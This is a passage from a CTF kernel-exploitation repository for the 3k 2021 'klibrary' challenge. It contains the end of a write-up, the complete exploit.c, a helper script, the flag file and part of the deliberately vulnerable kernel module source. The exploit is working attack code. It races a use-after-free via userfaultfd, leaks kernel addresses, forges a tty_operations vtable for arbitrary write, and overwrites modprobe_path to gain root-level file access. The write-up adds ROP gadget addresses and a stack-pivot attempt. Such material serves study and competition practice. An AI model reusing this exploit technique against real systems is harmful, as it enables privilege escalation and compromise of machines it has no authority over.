kernel leak, we just need to substract a fixed offset 890 | to get the kernel base (verify with `grep startup_64 /proc/kallsyms`). 891 | 892 | ### 2nd stage 893 | 894 | I want to know what is the next available objects, so I redo the UAF in read, but 895 | I don't `open("/dev/ptmx")` 896 | 897 | ```c 898 | // 2nd stage: LEAK NEXT PTR 899 | ioctl_add(0); 900 | 901 | ufd = register_ufd(0xbbb000); 902 | printf("registered ufd: %d\t 0x%lx\n", ufd, uf_page); 903 | pthread_create(&th, NULL, (void *)race_userfault, ioctl_remove_all); 904 | _ioctl_get_desc(0, (uint8_t *)0xbbb000); 905 | next_ptr = leak[512 / 8]; 906 | ``` 907 | 908 | Usually you find the next_ptr in the first 8 bytes of an address, but this time 909 | they're in the middle of the chunk (1024/2). 910 | 911 | I always get as `next_ptr = heap_ptr + 1024`. So this step is skippable but maybe 912 | in irl (non-qemu) it makes sense. 913 | 914 | ### 3rd stage 915 | 916 | The best scenario is to be able to read/write inside the tty_struct, so we need to 917 | have a stable UAF (not one that can only be used during race condition). To do that 918 | I used this approach: 919 | 920 | ![](./img/third_stage1.png) 921 | ![](./img/third_stage2.png) 922 | 923 | Basically I wanted that `book1` was at address `&book0 + 32` 924 | 925 | > Why ? 926 | 927 | Because in this way after a `remove(1); open("/dev/ptmx")` with: 928 | 929 | - `get_book_description(0)` I can read the tty_struct 930 | - `add_description_to_book(0)` I can overwrite the tty_struct 931 | 932 | The +32 is needed to not overwrite the `index, next, prev` of `book0`, otherwise 933 | we couldn't access `book0` if we overwrite `book0` with `book1`. 934 | 935 | We also need luck and hope that tty_struct doesn't overwrite the index of `book0` or 936 | we can't access `book0` anymore (spoiler: we have luck) 937 | 938 | ```c 939 | // 3rd stage overwrite next ptr 940 | ioctl_add(0); 941 | ufd = register_ufd(0xccc000); 942 | printf("registered ufd: %d\t 0x%lx\n", ufd, uf_page); 943 | pthread_create(&th, NULL, (void *)race_userfault, ioctl_remove_all); 944 | ((uint64_t *)(uf_page + 0xf00))[512/8] = heap_ptr + 32; 945 | ioctl_add_desc(0, (uint8_t *)0xcccf00); 946 | 947 | ioctl_add(0); 948 | memset(buf, 0, BOOK_DESCRIPTION_SIZE); 949 | ((uint64_t *)(buf + 32))[512/8] = next_ptr; 950 | ioctl_add_desc(0, buf); 951 | ``` 952 | 953 | An additional step that I do after overwrite the first next_ptr is that I also 954 | fix the next_ptr after that to point to the original next_ptr (that will become `book2`). 955 | 956 | A bug that it took me some time to fix was that I was trying to write inside `uf_page` the 957 | `heap_ptr + 32`, however it triggered the pagefault in user-space. To bypass that 958 | I mmaped `uf_page` with size 0x2000 bytes and registered the pagefault in the first 0x1000 959 | bytes. In this way I can write inside `uf_page + 0xf00 + 0x200` the `heap_ptr + 32` (without problems), 960 | and pass as ptr to `add_desc` 0xcccf00 that triggers the right pagefault in the kernel. 961 | 962 | ### 4th stage 963 | 964 | `tty_operations` is the virtual table used by the tty, since SMAP is active 965 | we can't craft a fake vtable in user-space. However we can forge a fake vtable 966 | inside `book2` since we have its address. 967 | 968 | ```c 969 | struct tty_operations { 970 | struct tty_struct * (*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */ 971 | int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */ 972 | void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */ 973 | int (*open)(struct tty_struct *, struct file *); /* 24 8 */ 974 | void (*close)(struct tty_struct *, struct file *); /* 32 8 */ 975 | void (*shutdown)(struct tty_struct *); /* 40 8 */ 976 | void (*cleanup)(struct tty_struct *); /* 48 8 */ 977 | int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */ 978 | /* --- cacheline 1 boundary (64 bytes) --- */ 979 | int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */ 980 | void (*flush_chars)(struct tty_struct *); /* 72 8 */ 981 | int (*write_room)(struct tty_struct *); /* 80 8 */ 982 | int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */ 983 | int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */ 984 | long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */ 985 | void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */ 986 | void (*throttle)(struct tty_struct *); /* 120 8 */ 987 | /* --- cacheline 2 boundary (128 bytes) --- */ 988 | void (*unthrottle)(struct tty_struct *); /* 128 8 */ 989 | void (*stop)(struct tty_struct *); /* 136 8 */ 990 | void (*start)(struct tty_struct *); /* 144 8 */ 991 | void (*hangup)(struct tty_struct *); /* 152 8 */ 992 | int (*break_ctl)(struct tty_struct *, int); /* 160 8 */ 993 | void (*flush_buffer)(struct tty_struct *); /* 168 8 */ 994 | void (*set_ldisc)(struct tty_struct *); /* 176 8 */ 995 | void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */ 996 | /* --- cacheline 3 boundary (192 bytes) --- */ 997 | void (*send_xchar)(struct tty_struct *, char); /* 192 8 */ 998 | int (*tiocmget)(struct tty_struct *); /* 200 8 */ 999 | int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */ 1000 | int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */ 1001 | int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 224 8 */ 1002 | int (*get_serial)(struct tty_struct *, struct serial_struct *); /* 232 8 */ 1003 | int (*set_serial)(struct tty_struct *, struct serial_struct *); /* 240 8 */ 1004 | void (*show_fdinfo)(struct tty_struct *, struct seq_file *); /* 248 8 */ 1005 | /* --- cacheline 4 boundary (256 bytes) --- */ 1006 | int (*proc_show)(struct seq_file *, void *); /* 256 8 */ 1007 | 1008 | /* size: 264, cachelines: 5, members: 33 */ 1009 | /* last cacheline: 8 bytes */ 1010 | }; 1011 | ``` 1012 | 1013 | There are some functions where we can control the parameters from user-space, 1014 | for example with `ioctl` we control **esi** and **rdx**. 1015 | Basically our syscall `ioctl(ptmx, esi, rdx)` will become `ioctl(&tty_struct, esi, rdx)`. 1016 | I tried with `write` but it doesn't seems controllable with parameters passed 1017 | from the `write` in user-space (Maybe I was doing something wrong). 1018 | We can overwrite the address of `tty_driver` inside the struct and try to call 1019 | remove, install, lookup to control `rdi` but I didn't try. 1020 | 1021 | I found https://pr0cf5.github.io/ctf/2020/03/09/the-plight-of-tty-in-the-linux-kernel.html 1022 | that gives some tips on what gadgets are useful. 1023 | 1024 | I found with `ROPgadget`: 1025 | 1026 | ``` 1027 | 103448:0xffffffff8113e9b1 : mov dword ptr [rdx], esi ; ret // WRITE 1028 | 122013:0xffffffff81034e74 : mov rax, qword ptr [rsi] ; ret // READ 1029 | ``` 1030 | 1031 | I opted to overwrite `modprobe_path` to read the flag. Another strategy was to use 1032 | read the list of `task_struct` until I found my process and then with the write primitive 1033 | overwrite the `uid=0`. However I needed to get the right offset (it depends on 1034 | kernel version and compilation flags) and `modprobe_path` was easier. 1035 | 1036 | So my plan was the following (in red the tty_struct): 1037 | 1038 | ![](./img/fourth_stage.png) 1039 | 1040 | ```c 1041 | // 4th stage write on modprobe_path 1042 | ioctl_add(1); 1043 | ioctl_add(2); 1044 | 1045 | ((uint64_t *)buf)[32 / 8] = dummy_ret; // cleanup functions 1046 | ((uint64_t *)buf)[40 / 8] = dummy_ret; 1047 | ((uint64_t *)buf)[48 / 8] = dummy_ret; 1048 | ((uint64_t *)buf)[96 / 8] = mov_addr_rdx_esi; // ioctl function -> arbitrary write 1049 | ioctl_add_desc(2, buf); 1050 | ioctl_get_desc(2, buf); 1051 | 1052 | // This part is not needed 1053 | book_details b = { 1054 | .index = 0, 1055 | .next = (void *)(heap_ptr + 32), 1056 | .prev = NULL, 1057 | }; 1058 | memcpy(buf + BOOK_DESCRIPTION_SIZE - 0x20, &b, 0x18); 1059 | print_leak((uint64_t *)buf, BOOK_DESCRIPTION_SIZE); 1060 | ioctl_add_desc(1, buf); 1061 | ``` 1062 | 1063 | Then: 1064 | 1065 | ```c 1066 | ioctl_remove(1); 1067 | 1068 | ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); 1069 | 1070 | ioctl_get_desc(0, buf); 1071 | 1072 | memset(buf, 0, BOOK_DESCRIPTION_SIZE); 1073 | memcpy(buf, leak, BOOK_DESCRIPTION_SIZE); 1074 | ((uint64_t *)buf)[7] = next_ptr; // overwrite pointer to vtable 1075 | ioctl_add_desc(0, buf); 1076 | 1077 | ioctl(ptmx, *(int *)new_modprobe_path, modprobe_path); // trigger ioctl call inside vtable 1078 | ioctl(ptmx, *(int *)(new_modprobe_path + 4), modprobe_path + 4); 1079 | ioctl(ptmx, *(int *)(new_modprobe_path + 8), modprobe_path + 8); 1080 | 1081 | system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/bho"); 1082 | system("chmod +x /home/ctf/bho"); 1083 | system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt' > /home/ctf/a\n"); 1084 | system("chmod +x /home/ctf/a"); 1085 | system("/home/ctf/bho"); 1086 | ``` 1087 | 1088 | ## Exploit 1089 | 1090 | [exploit](./exploit.c) 1091 | 1092 | To upload the exploit on the server I recommend to compile with musl-gcc: 1093 | 1094 | ```sh 1095 | musl-gcc exploit.c -o /tmp/exploit -static -lpthread 1096 | ``` 1097 | 1098 | For arch linux download: 1099 | 1100 | ```sh 1101 | yay -S musl kernel-headers-musl 1102 | ``` 1103 | 1104 | ## Flag 1105 | 1106 | `3k{SM4P_4LWAYS_MAKES_1T_D1FFICULT_BUT_N0T_IMP0SSIBLE}` 1107 | 1108 | ## But 1109 | 1110 | Everything works but I wanted to control RIP with a rop chain. To do that I tried 1111 | to find a stack pivot gadget to make `rsp = address of book2`, and write inside 1112 | book2 a rop chain that called `commit_cred(prepare_kernel_creds(0))`. 1113 | I wasn't able to find such gadget 😐. 1114 | 1115 | ### tty_driver remove 1116 | 1117 | There is this gadget `0xffffffff816467dd : push rdi ; pop rsp ; imul esp, dword ptr [rdx + 0x72], 0x616cef89 ; retf` 1118 | that maybe could be used to stack pivot. To call correctly this gadget I tried 1119 | to call the `remove` operations with `close(ptmx)`. 1120 | I set as tty_driver ptr inside tty_struct = `&book2 + 256`, +256 because in the first 1121 | 256 bytes there is the tty_operations fake vtable. 1122 | Then I copied a a fake tty_driver struct inside and changed the `ops` to point 1123 | to `next_ptr = &book2`. This is needed because the `remove` operation is called 1124 | from the `tty_driver`, not the `tty_struct` (https://elixir.bootlin.com/linux/v5.10.38/source/drivers/tty/tty_io.c#L1324). 1125 | However I get a pagefault after the `push rdi`, I don't know why 😐. 1126 | -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/3k-2021-klibrary/bzImage -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * author: @meowmeowxw, @eciavatta 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #define DEVICE_NAME "/dev/library" 26 | 27 | #define BOOK_DESCRIPTION_SIZE 0x300 28 | 29 | #define CMD_ADD 0x3000 30 | #define CMD_REMOVE 0x3001 31 | #define CMD_REMOVE_ALL 0x3002 32 | #define CMD_ADD_DESC 0x3003 33 | #define CMD_GET_DESC 0x3004 34 | 35 | #define PAGESIZE 0x1000 36 | 37 | int ioctl_add(uint64_t id); 38 | int ioctl_remove(uint64_t id); 39 | int ioctl_add_desc(uint64_t id, uint8_t *buffer); 40 | int ioctl_get_desc(uint64_t id, uint8_t *buffer); 41 | int _ioctl_get_desc(uint64_t id, uint8_t *buffer); 42 | int ioctl_remove_all(); 43 | void leak_heap(); 44 | void write_next_ptr(); 45 | void *race_userfault(void (*func)()); 46 | int userfaultfd(int flags); 47 | int register_ufd(uint64_t page); 48 | void print_leak(uint64_t *ptr, int size); 49 | void get_rax(); 50 | 51 | typedef struct { 52 | uint64_t index; 53 | uint8_t *ptr; 54 | } request_t; 55 | 56 | typedef struct { 57 | uint64_t index; 58 | void *next; 59 | void *prev; 60 | } book_details; 61 | 62 | uint64_t kbase = 0x0L, 63 | heap_ptr = 0x0L, 64 | next_ptr = 0x0L, 65 | modprobe_path = 0x837d00, 66 | mov_addr_rdx_esi = 0x13e9b1, 67 | mov_rax_addr_rdx = 0x17538d, 68 | mov_rax_addr_rsi = 0x34e74, 69 | dummy_ret = 0x1dc; 70 | int fd, ufd, ret, ptmx; 71 | uint64_t uf_page, rax = 0, leak[BOOK_DESCRIPTION_SIZE]; 72 | const char *new_modprobe_path = "/home/ctf/a"; 73 | const char cat[] = {0xf0, 0x9f, 0x90, 0x88, '\0'}; 74 | const char shark[] = {0xF0, 0x9F, 0xA6, 0x88, '\0'}; 75 | const char dice[] = {0xF0, 0x9F, 0x8E, 0xB2, '\0'}; 76 | const char alien[] = {0xF0, 0x9F, 0x91, 0xBE, '\0'}; 77 | const char ghost[] = {0xF0, 0x9F, 0x91, 0xBB, '\0'}; 78 | 79 | int main(int argc, char **argv) { 80 | uint8_t *buf = calloc(BOOK_DESCRIPTION_SIZE, 1); 81 | pthread_t th; 82 | 83 | fd = open(DEVICE_NAME, O_RDONLY); 84 | printf("[%s] fd: %d\n", alien, fd); 85 | 86 | ioctl_add(0); 87 | 88 | // 1st stage: LEAK KBASE AND KHEAP 89 | ufd = register_ufd(0xaaa000); 90 | printf("[%s] registered ufd: %d\t @ 0x%lx\n", shark, ufd, uf_page); 91 | pthread_create(&th, NULL, (void *)race_userfault, leak_heap); 92 | _ioctl_get_desc(0, (uint8_t *)0xaaa000); 93 | 94 | kbase = leak[66] - 0x14fc00; 95 | heap_ptr = leak[8] - 0x38; 96 | modprobe_path += kbase; 97 | mov_addr_rdx_esi += kbase; 98 | mov_rax_addr_rdx += kbase; 99 | mov_rax_addr_rsi += kbase; 100 | dummy_ret += kbase; 101 | 102 | close(ptmx); 103 | 104 | 105 | // 2nd stage: LEAK NEXT PTR 106 | ioctl_add(0); 107 | 108 | ufd = register_ufd(0xbbb000); 109 | printf("registered ufd: %d\t 0x%lx\n", ufd, uf_page); 110 | pthread_create(&th, NULL, (void *)race_userfault, ioctl_remove_all); 111 | _ioctl_get_desc(0, (uint8_t *)0xbbb000); 112 | next_ptr = leak[512 / 8]; 113 | 114 | printf("\n"); 115 | printf("[%s] kbase: 0x%016lx\n", ghost, kbase); 116 | printf("[%s] heap_ptr: 0x%016lx\n", alien, heap_ptr); 117 | printf("[%s] next_ptr: 0x%016lx\n", shark, next_ptr); 118 | printf("[%s] modprobe_path: 0x%016lx\n", cat, modprobe_path); 119 | printf("[%s] mov_addr_rdx_esi: 0x%016lx\n", dice, mov_addr_rdx_esi); 120 | printf("[%s] mov_rax_addr_rsi: 0x%016lx\n", dice, mov_rax_addr_rsi); 121 | printf("[%s] mov_rax_addr_rdx: 0x%016lx\n", dice, mov_rax_addr_rdx); 122 | ioctl_remove(0); 123 | 124 | 125 | // 3rd stage overwrite next ptr 126 | ioctl_add(0); 127 | ufd = register_ufd(0xccc000); 128 | printf("registered ufd: %d\t 0x%lx\n", ufd, uf_page); 129 | pthread_create(&th, NULL, (void *)race_userfault, ioctl_remove_all); 130 | ((uint64_t *)(uf_page + 0xf00))[512/8] = heap_ptr + 32; 131 | ioctl_add_desc(0, (uint8_t *)0xcccf00); 132 | 133 | ioctl_add(0); 134 | memset(buf, 0, BOOK_DESCRIPTION_SIZE); 135 | ((uint64_t *)(buf + 32))[512/8] = next_ptr; 136 | ioctl_add_desc(0, buf); 137 | 138 | 139 | // 4th stage write on modprobe_path 140 | ioctl_add(1); 141 | ioctl_add(2); 142 | 143 | ((uint64_t *)buf)[32 / 8] = dummy_ret; // cleanup functions 144 | ((uint64_t *)buf)[40 / 8] = dummy_ret; 145 | ((uint64_t *)buf)[48 / 8] = dummy_ret; 146 | ((uint64_t *)buf)[96 / 8] = mov_addr_rdx_esi; // write 147 | ioctl_add_desc(2, buf); 148 | ioctl_get_desc(2, buf); 149 | 150 | book_details b = { 151 | .index = 0, 152 | .next = (void *)(heap_ptr + 32), 153 | .prev = NULL, 154 | }; 155 | memcpy(buf + BOOK_DESCRIPTION_SIZE - 0x20, &b, 0x18); 156 | print_leak((uint64_t *)buf, BOOK_DESCRIPTION_SIZE); 157 | ioctl_add_desc(1, buf); 158 | 159 | ioctl_remove(1); 160 | 161 | ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); 162 | 163 | ioctl_get_desc(0, buf); 164 | 165 | memset(buf, 0, BOOK_DESCRIPTION_SIZE); 166 | memcpy(buf, leak, BOOK_DESCRIPTION_SIZE); 167 | ((uint64_t *)buf)[7] = next_ptr; 168 | ioctl_add_desc(0, buf); 169 | 170 | ioctl(ptmx, *(int *)new_modprobe_path, modprobe_path); 171 | ioctl(ptmx, *(int *)(new_modprobe_path + 4), modprobe_path + 4); 172 | ioctl(ptmx, *(int *)(new_modprobe_path + 8), modprobe_path + 8); 173 | 174 | system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/bho"); 175 | system("chmod +x /home/ctf/bho"); 176 | system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt' > /home/ctf/a\n"); 177 | system("chmod +x /home/ctf/a"); 178 | system("/home/ctf/bho"); 179 | 180 | return 0; 181 | } 182 | 183 | int ioctl_add(uint64_t id) { 184 | request_t arg = { 185 | .index = id, 186 | .ptr = NULL 187 | }; 188 | printf("[*] ioctl_add[%ld]\n", id); 189 | ret = ioctl(fd, CMD_ADD, &arg); 190 | if (ret != 0) { 191 | printf("[!] ioctl_add ret: %d\t id: %ld\n", ret, id); 192 | } 193 | return 0; 194 | } 195 | 196 | int ioctl_remove(uint64_t id) { 197 | request_t arg = { 198 | .index = id, 199 | .ptr = NULL 200 | }; 201 | printf("[*] ioctl_remove[%ld]\n", id); 202 | ret = ioctl(fd, CMD_REMOVE, &id); 203 | if (ret != 0) { 204 | printf("[!] ioctl_remove ret: %d\t id: %ld\n", ret, id); 205 | } 206 | return 0; 207 | } 208 | 209 | int ioctl_add_desc(uint64_t id, uint8_t *buffer) { 210 | request_t arg = { 211 | .index = id, 212 | .ptr = buffer 213 | }; 214 | printf("[*] ioctl_add_desc[%ld]\n", id); 215 | ret = ioctl(fd, CMD_ADD_DESC, &arg); 216 | if (ret != 0) { 217 | printf("[!] ioctl_add_desc ret: %d\t id: %ld\n", ret, id); 218 | } 219 | return 0; 220 | } 221 | 222 | int ioctl_get_desc(uint64_t id, uint8_t *buffer) { 223 | memset(buffer, 0, BOOK_DESCRIPTION_SIZE); 224 | return _ioctl_get_desc(id, buffer); 225 | } 226 | 227 | int _ioctl_get_desc(uint64_t id, uint8_t *buffer) { 228 | request_t arg = { 229 | .index = id, 230 | .ptr = buffer 231 | }; 232 | printf("[*] ioctl_get_desc[%ld]\n", id); 233 | ret = ioctl(fd, CMD_GET_DESC, &arg); 234 | if (ret != 0) { 235 | printf("[!] ioctl_get_desc ret: %d\t id: %ld\n", ret, id); 236 | } 237 | memcpy(leak, buffer, BOOK_DESCRIPTION_SIZE); 238 | print_leak((uint64_t *)buffer, BOOK_DESCRIPTION_SIZE); 239 | return 0; 240 | } 241 | 242 | int ioctl_remove_all() { 243 | request_t arg = { 244 | .index = 0xffffff, 245 | .ptr = NULL 246 | }; 247 | printf("[*] ioctl_remove_all\n"); 248 | ret = ioctl(fd, CMD_REMOVE_ALL, &arg); 249 | if (ret != 0) { 250 | printf("[!] ioctl_remove_all ret: %d\n", ret); 251 | } 252 | return 0; 253 | } 254 | 255 | void print_leak(uint64_t *ptr, int size) { 256 | for (int i = 0; i < size / 8; i++) { 257 | printf("0x%016lx\t", ptr[i]); 258 | if (!((i + 1) % 2)) { 259 | printf("\n"); 260 | } 261 | } 262 | printf("\n"); 263 | } 264 | 265 | int register_ufd(uint64_t page) { 266 | int fd = 0; 267 | int memsize = 0x1000; 268 | uf_page = page; 269 | struct uffdio_api api = { .api = UFFD_API }; 270 | 271 | uf_page = (uint64_t)mmap((void *)uf_page, 0x2000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); 272 | if ((void *)uf_page == MAP_FAILED) { 273 | perror("mmap uf_page"); 274 | exit(2); 275 | } 276 | 277 | if ((fd = userfaultfd(O_NONBLOCK)) == -1) { 278 | fprintf(stderr, "++ userfaultfd failed: %m\n"); 279 | exit(-1); 280 | } 281 | 282 | if (ioctl(fd, UFFDIO_API, &api)) { 283 | fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); 284 | exit(-1); 285 | } 286 | if (api.api != UFFD_API) { 287 | fprintf(stderr, "++ unexepcted UFFD api version.\n"); 288 | exit(-1); 289 | } 290 | 291 | /* mmap some pages, set them up with the userfaultfd. */ 292 | struct uffdio_register reg = { 293 | .mode = UFFDIO_REGISTER_MODE_MISSING, 294 | .range = { 295 | .start = uf_page, 296 | .len = memsize 297 | } 298 | }; 299 | 300 | if (ioctl(fd, UFFDIO_REGISTER, ®) == -1) { 301 | fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); 302 | exit(-1); 303 | } 304 | 305 | return fd; 306 | } 307 | 308 | void *race_userfault(void (*func)()) { 309 | char uf_buffer[0x1000]; 310 | struct pollfd evt = { .fd = ufd, .events = POLLIN }; 311 | 312 | while (poll(&evt, 1, -1) > 0) { 313 | /* unexpected poll events */ 314 | if (evt.revents & POLLERR) { 315 | perror("poll"); 316 | exit(-1); 317 | } else if (evt.revents & POLLHUP) { 318 | perror("pollhup"); 319 | exit(-1); 320 | } 321 | struct uffd_msg fault_msg = {0}; 322 | if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { 323 | perror("read"); 324 | exit(-1); 325 | } 326 | char *place = (char *)fault_msg.arg.pagefault.address; 327 | if (fault_msg.event != UFFD_EVENT_PAGEFAULT 328 | || (place != (void *)uf_page && place != (void *)uf_page + PAGESIZE)) { 329 | fprintf(stderr, "unexpected pagefault?.\n"); 330 | exit(-1); 331 | } 332 | if (place == (void *)uf_page) { 333 | printf("[%s] got page fault at address %p, nice!\n", cat, place); 334 | printf("[%s] call whatever I want\n", cat); 335 | func(); 336 | printf("[%s] done! now releasing ufd to finish exit\n", cat); 337 | 338 | /* release by copying some data to faulting address */ 339 | struct uffdio_copy copy = { 340 | .dst = (long) place, 341 | .src = (long) uf_buffer, 342 | .len = PAGESIZE 343 | }; 344 | if (ioctl(ufd, UFFDIO_COPY, ©) < 0) { 345 | perror("ioctl(UFFDIO_COPY)"); 346 | exit(-1); 347 | } 348 | break; 349 | } 350 | } 351 | close(ufd); 352 | return NULL; 353 | } 354 | 355 | int userfaultfd(int flags) { 356 | return syscall(SYS_userfaultfd, flags); 357 | } 358 | 359 | void leak_heap() { 360 | ioctl_remove_all(); 361 | ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); 362 | } 363 | 364 | void get_rax() { 365 | asm volatile ( 366 | "mov %%rax, %0\n\t" 367 | : "=r"(rax) 368 | : 369 | : "rax" 370 | ); 371 | } 372 | -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/extract.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | mkdir initramfs 4 | cd initramfs 5 | cpio -i < ../initramfs.cpio 6 | -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/flag.txt: -------------------------------------------------------------------------------- 1 | 3k{SM4P_4LWAYS_MAKES_1T_D1FFICULT_BUT_N0T_IMP0SSIBLE} 2 | -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/img/fourth_stage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/3k-2021-klibrary/img/fourth_stage.png -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/img/third_stage1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/3k-2021-klibrary/img/third_stage1.png -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/img/third_stage2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/3k-2021-klibrary/img/third_stage2.png -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/initramfs.cpio: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/meowmeowxw/kernel-exploits/91ba1fc70283946c29c17bc11db5a33f29ad79da/ctf/3k-2021-klibrary/initramfs.cpio -------------------------------------------------------------------------------- /ctf/3k-2021-klibrary/src/library.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define DEVICE_NAME "library" 10 | #define CLASS_NAME "library" 11 | #define BOOK_DESCRIPTION_SIZE 0x300 12 | 13 | #define CMD_ADD 0x3000 14 | #define CMD_REMOVE 0x3001 15 | #define CMD_REMOVE_ALL 0x3002 16 | #define CMD_ADD_DESC 0x3003 17 | #define CMD_GET_DESC 0x3004 18 | 19 | static DEFINE_MUTEX(ioctl_lock); 20 | static DEFINE_MUTEX(remove_all_lock); 21 | 22 | MODULE_AUTHOR("MaherAzzouzi"); 23 | MODULE_DESCRIPTION("A library implemented inside the kernel."); 24 | MODULE_LICENSE("GPL"); 25 | 26 | static int major; 27 | static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg); 28 | static int library_open(struct inode* inode, struct file *filp); 29 | static int library_release(struct inode* inode, struct file *filp); 30 | 31 | static struct file_operations library_fops = { 32 | .owner = THIS_MODULE, 33 | .unlocked_ioctl = library_ioctl, 34 | .open = library_open, 35 | .release = library_release 36 | }; 37 | 38 | static struct class* library_class = NULL; 39 | static struct device* library_device = NULL; 40 | 41 | struct Book { 42 | char book_description[BOOK_DESCRIPTION_SIZE]; 43 | unsigned long index; 44 | struct Book* next; 45 | struct Book* prev; 46 | } *root; 47 | 48 | struct Request { 49 | unsigned long index; 50 | char __user * userland_pointer; 51 | }; 52 | 53 | unsigned long counter = 1; 54 | 55 | static int add_book(unsigned long index); 56 | static int remove_book(unsigned long index); 57 | static noinline int remove_all(void); 58 | static int add_description_to_book(struct Request request); 59 | static int get_book_description(struct Request request); 60 | 61 | static int library_open(struct inode* inode, struct file *filp) { 62 | 63 | printk(KERN_INFO "[library] : manage your books safely here!\n"); 64 | return 0; 65 | } 66 | 67 | 68 | static int library_release(struct inode* inode, struct file *filp) { 69 | printk(KERN_INFO "[library] : vulnerable device closed! try harder.\n"); 70 | remove_all(); 71 | return 0; 72 | } 73 | 74 | static long library_ioctl(struct file* file, unsigned int cmd, unsigned long arg) { 75 | struct Request request; 76 | 77 | if(copy_from_user((void*)&request, (void*)arg, sizeof(struct Request))) { 78 | return -1; 79 | } 80 | 81 | if(cmd == CMD_REMOVE_ALL) { 82 | mutex_lock(&remove_all_lock); 83 | remove_all(); 84 | mutex_unlock(&remove_all_lock); 85 | } else { 86 | mutex_lock(&ioctl_lock); 87 | 88 | switch(cmd) { 89 | case CMD_ADD: 90 | add_book(request.index); 91 | break; 92 | case CMD_REMOVE: 93 | remove_book(request.index); 94 | break; 95 | case CMD_ADD_DESC: 96 | add_description_to_book(request); 97 | break; 98 | case CMD_GET_DESC: 99 | get_book_description(request); 100 | break; 101 | } 102 | 103 | mutex_unlock(&ioctl_lock); 104 | } 105 | return 0; 106 | 107 | } 108 | 109 | static int add_book(unsigned long index) { 110 | 111 | if(counter >= 10) { 112 | printk(KERN_INFO "[library] can only hold 10 books here\n"); 113 | return -1; 114 | } 115 | 116 | struct Book *b, *p; 117 | b = (struct Book*)kzalloc(sizeof(struct Book), GFP_KERNEL); 118 | 119 | if(b == NULL) { 120 | printk(KERN_INFO "[library] : allocation failed! \n"); 121 | return -1; 122 | } 123 | 124 | b->index = index; 125 | if(root == NULL) { 126 | root = b; 127 | root->prev = NULL; 128 | root->next = NULL; 129 | } else { 130 | p = root; 131 | while(p->next != NULL) 132 | p = p->next; 133 | p->next = b; 134 | b->prev = p; 135 | b->next = NULL; 136 | } 137 | 138 | counter++; 139 | 140 | return 0; 141 | } 142 | 143 | static int remove_book(unsigned long index) { 144 | struct Book *p, *prev, *next; 145 | if(root == NULL) { 146 | printk(KERN_INFO "[library] : no books in the library yet."); 147 | return -1; 148 | } 149 | else if (root->index == index) { 150 | p = root; 151 | root = root->next; 152 | kfree(p); 153 | } 154 | else { 155 | p = root; 156 | while(p != NULL && p->index != index) 157 | p = p->next; 158 | 159 | if(p == NULL) { 160 | printk(KERN_INFO "[library] : can't remove %ld reason : not found\n", index); 161 | } 162 | 163 | prev = p->prev; 164 | next = p->next; 165 | prev->next = next; 166 | next->prev = prev; 167 | 168 | kfree(p); 169 | } 170 | 171 | counter--; 172 | 173 | return 0; 174 | } 175 | 176 | static noinline int remove_all(void) { 177 | struct Book *b, *p; 178 | b = root; 179 | 180 | while(b != NULL) { 181 | p = b->next; 182 | kfree(b); 183 | b = p; 184 | } 185 | 186 | root = NULL; 187 | counter = 1; 188 | return 0; 189 | } 190 | 191 | static int add_description_to_book(struct Request request) { 192 | struct Book* book = root; 193 | 194 | if(book == NULL){ 195 | printk(KERN_INFO "[library] : no books in the library yet.\n"); 196 | return -1; 197 | } 198 | 199 | 200 | for(; book != NULL && book->index != request.index; book = book->next); 201 | 202 | if(book == NULL) { 203 | 